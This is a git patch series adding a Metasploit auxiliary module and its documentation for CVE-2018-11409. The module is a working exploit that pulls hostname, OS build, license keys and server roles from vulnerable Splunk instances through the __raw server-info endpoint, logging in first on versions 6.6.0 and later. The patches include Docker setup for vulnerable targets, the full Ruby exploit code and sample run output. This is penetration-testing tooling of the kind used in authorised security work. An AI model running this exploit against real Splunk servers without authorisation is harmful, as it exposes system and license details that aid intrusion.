From a31de9eb05e65be49236e96ecc63ff9e778c957e Mon Sep 17 00:00:00 2001 From: n00bhaxor Date: Wed, 20 Dec 2023 14:07:50 -0500 Subject: [PATCH 1/4] Adding Splunk Info Disclosure module. --- .../gather/splunk_raw_server_info.md | 43 ++++++++++ .../gather/splunk_raw_server_info.rb | 78 +++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/splunk_raw_server_info.md create mode 100644 modules/auxiliary/gather/splunk_raw_server_info.rb diff --git a/documentation/modules/auxiliary/gather/splunk_raw_server_info.md b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md new file mode 100644 index 000000000000..c26bacaf0608 --- /dev/null +++ b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md @@ -0,0 +1,43 @@ +## Vulnerable Application + +Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending +`/__raw/services/server/info/server-info?output_mode=json` to a query. + +### Docker Install + +A vulnerable version of Splunk can be installed locally with docker: + +`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/splunk_raw_server_info` +1. Do: `SET RHOSTS [IP]` +1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information. + +## Options + +## Scenarios + +``` +msf6 > use auxiliary/gather/splunk_raw_server_info +msf6 auxiliary(gather/splunk_raw_server_info) > exploit +[*] Running module against 127.0.0.1 + +[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin +[+] Hostname: 3c7b9beb6c3c +[+] CPU Architecture: x86_64 +[+] Operating System: Linux +[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03) +[+] OS Version: 6.5.0-kali2-amd64 +[+] Splunk Version: 6.5.5 +[+] Trial Version?: true +[+] Splunk Forwarder?: false +[+] Splunk Product Type: enterprise +[+] License State: EXPIRED +[+] License Key(s): [] +[+] Splunk Server Roles: ["indexer", "license_master"] +[+] Splunk Server Startup Time: 2023-12-19 20:56:13 +``` diff --git a/modules/auxiliary/gather/splunk_raw_server_info.rb b/modules/auxiliary/gather/splunk_raw_server_info.rb new file mode 100644 index 000000000000..abe8998a453b --- /dev/null +++ b/modules/auxiliary/gather/splunk_raw_server_info.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Splunk __raw Server Info Disclosure ', + 'Description' => %q{ + Splunk through 6.2.3 7.0.1 allows information disclosure by appending + /__raw/services/server/info/server-info?output_mode=json to a query. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'n00bhaxor', # msf module + 'KOF2002' # original PoC + ], + 'References' => [ + [ 'EDB', '44865' ], + [ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'], + [ 'CVE', '2018-11409'] + ], + 'DisclosureDate' => '2018-06-08', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(8000), + OptString.new('USERNAME', [ false, 'User to login with', '']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', '']) + ] + ) + end + + def run + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'), + 'vars_get' => { + 'output_mode' => 'json' + } + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 + begin + j = JSON.parse(res.body) + rescue JSON::ParserError + return fail_with(Failure::UnexpectedReply, 'Response not JSON parsable') + end + loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status') + print_good("Output saved to #{loot_path}") + print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}") + print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}") + print_good("Operating System: #{j['entry'][0]['content']['os_name']}") + print_good("OS Build: #{j['entry'][0]['content']['os_build']}") + print_good("OS Version: #{j['entry'][0]['content']['os_version']}") + print_good("Splunk Version: #{j['generator']['version']}") + print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}") + print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}") + print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}") + print_good("License State: #{j['entry'][0]['content']['licenseState']}") + print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}") + print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}") + converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S') + print_good("Splunk Server Startup Time: #{converted_time}") + end +end From 0394f5f7ad84dae6249ed0e4e1ee26fad0ad0d12 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 20 Dec 2023 20:47:04 -0500 Subject: [PATCH 2/4] splunk 6.6.0+ --- .../gather/splunk_raw_server_info.md | 45 +++++++++++ .../gather/splunk_raw_server_info.rb | 77 ++++++++++++++++--- 2 files changed, 113 insertions(+), 9 deletions(-) diff --git a/documentation/modules/auxiliary/gather/splunk_raw_server_info.md b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md index c26bacaf0608..7b0b7f64130a 100644 --- a/documentation/modules/auxiliary/gather/splunk_raw_server_info.md +++ b/documentation/modules/auxiliary/gather/splunk_raw_server_info.md @@ -3,12 +3,23 @@ Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending `/__raw/services/server/info/server-info?output_mode=json` to a query. +Versisons 6.6.0 through 7.0.1 require authentication. + ### Docker Install +#### Splunk 6.5.5 + A vulnerable version of Splunk can be installed locally with docker: `docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5` +#### Splunk 7.1.0 + +At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart +the service (via website) for the instance to be exploitable. Splunk can be started via docker with: + +`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0` + ## Verification Steps 1. Install the application @@ -21,6 +32,8 @@ A vulnerable version of Splunk can be installed locally with docker: ## Scenarios +### Splunk 6.5.5 + ``` msf6 > use auxiliary/gather/splunk_raw_server_info msf6 auxiliary(gather/splunk_raw_server_info) > exploit @@ -41,3 +54,35 @@ msf6 auxiliary(gather/splunk_raw_server_info) > exploit [+] Splunk Server Roles: ["indexer", "license_master"] [+] Splunk Server Startup Time: 2023-12-19 20:56:13 ``` + +### Splunk 7.1.0 + +``` +[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info +[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin +username => admin +[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk +password => splunksplunk +[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true +verbose => true +[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run +[*] Running module against 127.0.0.1 + +[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json +[+] Hostname: 523a845e8652 +[+] CPU Architecture: x86_64 +[+] Operating System: Linux +[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) +[+] OS Version: 6.5.0-kali3-amd64 +[+] Splunk Version: 7.1.0 +[+] Trial Version?: false +[+] Splunk Forwarder?: false +[+] Splunk Product Type: splunk +[+] License State: OK +[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"] +[+] Splunk Server Roles: ["indexer", "license_master"] +[+] Splunk Server Startup Time: 2023-12-21 01:40:02 +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/gather/splunk_raw_server_info.rb b/modules/auxiliary/gather/splunk_raw_server_info.rb index abe8998a453b..77423f733180 100644 --- a/modules/auxiliary/gather/splunk_raw_server_info.rb +++ b/modules/auxiliary/gather/splunk_raw_server_info.rb @@ -12,13 +12,15 @@ def initialize(info = {}) info, 'Name' => 'Splunk __raw Server Info Disclosure ', 'Description' => %q{ - Splunk through 6.2.3 7.0.1 allows information disclosure by appending + Splunk 6.2.3 through 7.0.1 allows information disclosure by appending /__raw/services/server/info/server-info?output_mode=json to a query. + Versisons 6.6.0 through 7.0.1 require authentication. }, 'License' => MSF_LICENSE, 'Author' => [ 'n00bhaxor', # msf module - 'KOF2002' # original PoC + 'KOF2002', # original PoC + 'h00die' # 6.6.0+ ], 'References' => [ [ 'EDB', '44865' ], @@ -36,30 +38,87 @@ def initialize(info = {}) register_options( [ Opt::RPORT(8000), - OptString.new('USERNAME', [ false, 'User to login with', '']), + OptString.new('USERNAME', [ false, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '']), OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', '']) ] ) end - def run - res = send_request_cgi( + def authenticate + login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => login_url + }) + + unless res + fail_with(Failure::Unreachable, 'No response received for authentication request') + end + + cval_value = res.get_cookies.match(/cval=([^;]*)/)[1] + + unless cval_value + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication') + end + + auth_payload = { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cval' => cval_value, + 'set_has_logged_in' => 'false' + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => login_url, + 'cookie' => res.get_cookies, + 'vars_post' => auth_payload + }) + + unless res && res.code == 200 + fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance') + end + + print_good('Successfully authenticated on the Splunk instance') + res.get_cookies + end + + def get_contents(cookie = nil) + request = { 'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'), 'vars_get' => { 'output_mode' => 'json' } - ) + } + request['cookie'] = cookie unless cookie.nil? + res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 + # 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303 + res + end + + def run + # on 6.2.x-6.5.x this will work as its unauth + res = get_contents + # if we hit 6.6.0 - 7.1.0 we need to auth first + if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}' + print_status('Authentication required, logging in and re-attempting') + res = get_contents(authenticate) + end + begin j = JSON.parse(res.body) rescue JSON::ParserError - return fail_with(Failure::UnexpectedReply, 'Response not JSON parsable') + fail_with(Failure::UnexpectedReply, 'Response not JSON parsable') end - loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status') + + loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json') print_good("Output saved to #{loot_path}") + print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}") print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}") print_good("Operating System: #{j['entry'][0]['content']['os_name']}") From f950711da15c33e17bdb4eadb28c1189b1a8c60e Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Wed, 27 Dec 2023 12:37:17 -0500 Subject: [PATCH 3/4] Apply suggestions from code review Co-authored-by: Julien Voisin --- .../gather/splunk_raw_server_info.rb | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/gather/splunk_raw_server_info.rb b/modules/auxiliary/gather/splunk_raw_server_info.rb index 77423f733180..128ebbbf8726 100644 --- a/modules/auxiliary/gather/splunk_raw_server_info.rb +++ b/modules/auxiliary/gather/splunk_raw_server_info.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2018-06-08', 'Notes' => { - 'Stability' => [], + 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } @@ -57,7 +57,7 @@ def authenticate fail_with(Failure::Unreachable, 'No response received for authentication request') end - cval_value = res.get_cookies.match(/cval=([^;]*)/)[1] + cval_value = res.get_cookies.match(/cval=([^;]+)/)[1] unless cval_value fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication') @@ -73,7 +73,7 @@ def authenticate res = send_request_cgi({ 'method' => 'POST', 'uri' => login_url, - 'cookie' => res.get_cookies, + 'keep_cookies' => true, 'vars_post' => auth_payload }) @@ -82,12 +82,12 @@ def authenticate end print_good('Successfully authenticated on the Splunk instance') - res.get_cookies end - def get_contents(cookie = nil) + def get_contents request = { 'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'), + 'keep_cookies' => true, 'vars_get' => { 'output_mode' => 'json' } @@ -107,14 +107,11 @@ def run # if we hit 6.6.0 - 7.1.0 we need to auth first if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}' print_status('Authentication required, logging in and re-attempting') - res = get_contents(authenticate) + authenticate + res = get_contents end - begin - j = JSON.parse(res.body) - rescue JSON::ParserError - fail_with(Failure::UnexpectedReply, 'Response not JSON parsable') - end + j = res.get_json_document loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json') print_good("Output saved to #{loot_path}") From 8b970af7f68e0fa60f1e58d695d1ed34e8668ae0 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Wed, 27 Dec 2023 12:40:18 -0500 Subject: [PATCH 4/4] Update modules/auxiliary/gather/splunk_raw_server_info.rb --- modules/auxiliary/gather/splunk_raw_server_info.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/splunk_raw_server_info.rb b/modules/auxiliary/gather/splunk_raw_server_info.rb index 128ebbbf8726..1067dd6aef0c 100644 --- a/modules/auxiliary/gather/splunk_raw_server_info.rb +++ b/modules/auxiliary/gather/splunk_raw_server_info.rb @@ -92,7 +92,6 @@ def get_contents 'output_mode' => 'json' } } - request['cookie'] = cookie unless cookie.nil? res = send_request_cgi(request) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?